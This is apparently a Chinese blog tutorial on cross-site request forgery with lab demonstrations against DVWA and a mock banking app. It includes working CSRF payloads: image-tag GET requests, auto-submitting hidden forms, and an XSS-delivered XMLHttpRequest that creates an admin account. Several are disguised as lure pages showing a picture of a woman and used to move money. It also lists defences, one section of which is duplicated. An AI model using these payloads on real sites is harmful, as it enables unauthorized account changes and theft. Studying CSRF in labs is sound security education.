CSRF漏洞

CSRF(跨站请求伪造漏洞)

​ 跨站请求伪造(Cross Site Request Forgery,CSRF)是一种攻击,它强制浏览器客户端用户在当前对其进行身份验证后的Web 应用程序上执行非本意操作的攻击,攻击的重点在于更改状态的请求,而不是盗取数据,因为攻击者无法查看伪造请求的响应。

​ 借助于社工的一些帮助,例如,通过电子邮件或聊天发送链接,攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户,则成功的CSRF 攻击可以强制用户执行更改状态的请求,例如转移资金、修改密码等操作。如果受害者是管理账户,CSRF 攻击会危及整个 web 应用程序。

关键点

  • 受害者没有退出登录,受害者保持身份认证
  • CSRF 继承了受害者的身份和特权,代表受害者执行非本意的、恶意的操作
  • CSRF 会借用浏览器中与站点关联的所有身份凭据,例如用户的会话 Cookie,IP 地址,Windows 域凭据等

目标

​ CSRF 的目标是更改用户账户的状态,攻击者利用 CSRF发送的请求都是更改状态的请求,比如,转账、更改密码,购买商品等等。
​ CSRF 的场景中,攻击者是没有办法获得服务器的响应

CSRF类别

GET方式

<meta charset="utf-8">
<img src="1.jpg">
</br>
<img src="http://10.9.47.77/dvwa_2.0.1/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change" alt="美女好看吗">

post方式

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://10.9.47.77/dvwa_2.0.1/vulnerabilities/csrf/">
      <input type="hidden" name="password&#95;new" value="123" />
      <input type="hidden" name="password&#95;conf" value="123" />
      <input type="hidden" name="Change" value="Change" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

CSRF验证

burpsuite Burp Suite 自带插件,可以根据请求构造表单,进行CSRF 漏洞验证。
在这里插入图片描述

CSRF 实战

与 XSS 漏洞相结合

	攻击者可以利用 XSS 触发 CSRF 攻击。因为,可以利用 JS 发送 HTTP 请求。经过研 究受害网站的业务流程,可以构造如下代码
<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://10.4.7.130/cms/admin/user.action.php",fal
se);
xmlhttp.setRequestHeader("Content-type","application/x-www-formurlencoded");
xmlhttp.send("act=add&username=ajest&password=123456&password2=123456
&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

CSRF 防御

无效防御

  • 使用秘密的 Cookie

  • 仅接收 POST 请求

  • 多步交易:多步交易,有可能会被恶意攻击者预测

  • URL 重写:用户的身份信息会暴露在 URL 中,不建议通过引入另外一个漏洞来解决当前 漏洞

  • HTTPS:所有安全机制的前提

有效防御

验证 Referer 字段:

  • 当前 URL 的上一个 URL
  • 转账页面到转账操作
  • 伪造?

二次验证

  • 在关键操作之前,再输入密码或者验证码

添加Token 验证

HttpOnly

  • 某些情况下禁止 JS 脚本访问 Cookie 信息

SameSite

二次验证

  • 在关键操作之前,再输入密码或者验证码

添加Token 验证

HttpOnly

  • 某些情况下禁止 JS 脚本访问 Cookie 信息

SameSite

  • Cookie 属性,浏览器自带安全机制浏览器自带不需要设置

案例

CSRF 漏洞实战

**原理:**利用模拟的银行系统在用户登录的情况下点击我们的广告将钱转入到hacker账户下

先登录hacker账号

在这里插入图片描述
我们可以看到此时是无一分钱的是个穷逼那只能靠技术吃饭了抓包查看提交表单需要什么数据
在这里插入图片描述

进行构造代码
在这里插入图片描述

<meta charset="utf-8">
<img src="1.jpg" width="15%" height="40%">
</br>
<img src="http://10.9.47.77/bank/action.php?username=hacker&money=10000&submit=%E4%BA%A4%E6%98%93" alt="美女好看吗">

现在登录admin账户
在这里插入图片描述
登录之后admin用户点击了广告
在这里插入图片描述
这个怨种admin还觉得挺好看结果一会页面人傻了被转走了10000元
在这里插入图片描述
方法二:
抓包的时候用bp构造一个post方式
在这里插入图片描述
复制代码到我们的广告网页上进行稍加修饰

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://10.9.47.77/bank/action.php" method="POST">
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="money" value="1000" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
        看看美女吧</br>
        <img src="1.jpg" width="16%" height="40%" alt="美女好看吗">
    
  </body>
</html>

受害者访问网页
在这里插入图片描述
发现又被转走了1000
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值